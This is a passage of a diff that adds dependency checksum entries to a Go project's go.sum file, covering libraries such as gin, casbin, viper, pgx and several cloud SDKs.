h1:kgDmCTgBzIEPFElEF+FK0SdjAor06dRq2Go927dnQ6o= +github.com/AzureAD/microsoft-authentication-library-for-go v1.1.0 h1:HCc0+LpPfpCKs6LGGLAhwBARt9632unrVcI6i8s/8os= +github.com/AzureAD/microsoft-authentication-library-for-go v1.1.0/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= +github.com/BurntSushi/toml v1.4.0 h1:kuoIxZQy2WRRk1pttg9asf+WVv6tWQuBNVmK8+nqPr0= +github.com/BurntSushi/toml v1.4.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= +github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= +github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= +github.com/baidubce/bce-qianfan-sdk/go/qianfan v0.0.12 h1:IGb3rV9QyCJa/d3ZvXiuZkacO0BS2pmGi1BP7dZ5IEA= +github.com/baidubce/bce-qianfan-sdk/go/qianfan v0.0.12/go.mod h1:f/kIWWvAHAcU7bzgkfN30SkpN0I4lLvsJkljVK6v5YY= +github.com/baidubce/bce-sdk-go v0.9.164 h1:7gswLMsdQyarovMKuv3i6wxFQ3BQgvc5CmyGXb/D/xA= +github.com/baidubce/bce-sdk-go v0.9.164/go.mod h1:zbYJMQwE4IZuyrJiFO8tO8NbtYiKTFTbwh4eIsqjVdg= +github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= +github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= +github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= +github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= +github.com/casbin/casbin/v2 v2.98.0 h1:xjsnyQh1hhw5kYTZJTGh4K+pxXhPgYhcr+X7zEbEB4o= +github.com/casbin/casbin/v2 v2.98.0/go.mod h1:G2UyxPbyyrClPvzHQ4Yog6rtTz0x+Y2lc8qOwfqWLuc= +github.com/casbin/gorm-adapter/v3 v3.26.0 h1:4FhoNh6VqTa4CKV/B/LnwVCU073qMAFBEeQ85tlU4cc= +github.com/casbin/gorm-adapter/v3 v3.26.0/go.mod h1:aftWi0cla0CC1bHQVrSFzBcX/98IFK28AvuPppCQgTs= +github.com/casbin/govaluate v1.2.0 h1:wXCXFmqyY+1RwiKfYo3jMKyrtZmOL3kHwaqDyCPOYak= +github.com/casbin/govaluate v1.2.0/go.mod h1:G/UnbIjZk/0uMNaLwZZmFQrR72tYRZWQkO70si/iR7A= +github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= +github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= +github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= +github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= +github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/dchest/captcha v1.0.0 h1:vw+bm/qMFvTgcjQlYVTuQBJkarm5R0YSsDKhm1HZI2o= +github.com/dchest/captcha v1.0.0/go.mod h1:7zoElIawLp7GUMLcj54K9kbw+jEyvz2K0FDdRRYhvWo= +github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible h1:kFnl8B5YgOXou7f+dsklKcGSXph/nubNx7I6d6RoFuE= +github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dnaeon/go-vcr v1.1.0/go.mod h1:M7tiix8f0r6mKKJ3Yq/kqU1OYf3MnfmBWVbPx/yU9ko= +github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= +github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= +github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= +github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= +github.com/gin-contrib/pprof v1.5.0 h1:E/Oy7g+kNw94KfdCy3bZxQFtyDnAX2V7axRS7sNYVrU= +github.com/gin-contrib/pprof v1.5.0/go.mod h1:GqFL6LerKoCQ/RSWnkYczkTJ+tOAUVN/8sbnEtaqOKs= +github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= +github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= +github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= +github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= +github.com/glebarez/go-sqlite v1.20.3 h1:89BkqGOXR9oRmG58ZrzgoY/Fhy5x0M+/WV48U5zVrZ4= +github.com/glebarez/go-sqlite v1.20.3/go.mod h1:u3N6D/wftiAzIOJtZl6BmedqxmmkDfH3q+ihjqxC9u0= +github.com/glebarez/sqlite v1.7.0 h1:A7Xj/KN2Lvie4Z4rrgQHY8MsbebX3NyWsL3n2i82MVI= +github.com/glebarez/sqlite v1.7.0/go.mod h1:PkeevrRlF/1BhQBCnzcMWzgrIk7IOop+qS2jUYLfHhk= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= +github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc= +github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= +github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= +github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/golang-jwt/jwt/v4 v4.4.3/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v5 v5.0.0 h1:1n1XNM9hk7O9mnQoNBGolZvzebBQ7p93ULHRc28XJUE= +github.com/golang-jwt/jwt/v5 v5.0.0/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= +github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= +github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= +github.com/golang/mock v1.4.4 h1:l75CXGRSwbaYNpl/Z2X1XIIAMSCquvXgpVZDhwEIJsc= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/gomodule/redigo v1.9.2 h1:HrutZBLhSIU8abiSfW8pj8mPhOyMYjZT/wcA4/L9L9s= +github.com/gomodule/redigo v1.9.2/go.mod h1:KsU3hiK/Ay8U42qpaJk+kuNa3C+spxapWpM+ywhcgtw= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= +github.com/jackc/pgx/v5 v5.5.5 h1:amBjrZVmksIdNjxGW/IiIMzxMKZFelXbUoPNb+8sjQw= +github.com/jackc/pgx/v5 v5.5.5/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A= +github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk= +github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= +github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= +github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= +github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= +github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= +github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs= +github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= +github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= +github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= +github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= +github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= +github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= +github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= +github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/microsoft/go-mssqldb v1.6.0 h1:mM3gYdVwEPFrlg/Dvr2DNVEgYFG7L42l+dGc67NNNpc= +github.com/microsoft/go-mssqldb v1.6.0/go.mod h1:00mDtPbeQCRGC1HwOOR5K/gr30P1NcEG0vx6Kbv2aJU= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= +github.com/montanaflynn/stats v0.7.0/go.mod h1:etXPPgVO6n31NxCd9KQUMvCM+ve0ruNzt6R8Bnaayow= +github.com/natefinch/lumberjack v2.0.0+incompatible h1:4QJd3OLAMgj7ph+yZTuX13Ld4UpgHp07nNdFX7mqFfM= +github.com/natefinch/lumberjack v2.0.0+incompatible/go.mod h1:Wi9p2TTF5DG5oU+6YfsmYQpsTIOm0B1VNzQg9Mw6nPk= +github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= +github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= +github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 h1:KoWmjvw+nsYOo29YJK9vDA65RGE3NrOnUtO7a+RF9HU= +github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8/go.mod h1:HKlIX3XHQyzLZPlr7++PzdhaXEj94dEiJgZDTsxEqUI= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= +github.com/qifengzhang007/goCurl v1.4.0 h1:SyPxw3e8NZ/bhelabiIZPvTXDAyA3zrt4+Uq8tF5roE= +github.com/qifengzhang007/goCurl v1.4.0/go.mod h1:uO0GEHw3DKIVMHIGw1kbtY9wUpL1eAm7hYxiCjmyvkc= +github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw= +github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578 h1:VstopitMQi3hZP0fzvnsLmzXZdQGc4bEcgu24cp+d4M= +github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= +github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= +github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= +github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= +github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= +github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= +github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= +github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= +github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= +github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= +github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.18.2 h1:LUXCnvUvSM6FXAsj6nnfc8Q2tp1dIgUfY9Kc8GsSOiQ= +github.com/spf13/viper v1.18.2/go.mod h1:EKmWIqdnk5lOcmR72yw6hS+8OPYcwD0jteitLMVB+yk= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= +github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= +github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= +github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= +github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= +github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ= +go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= +golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= +golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= +golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= +golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= +golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= +golang.org/x/mod 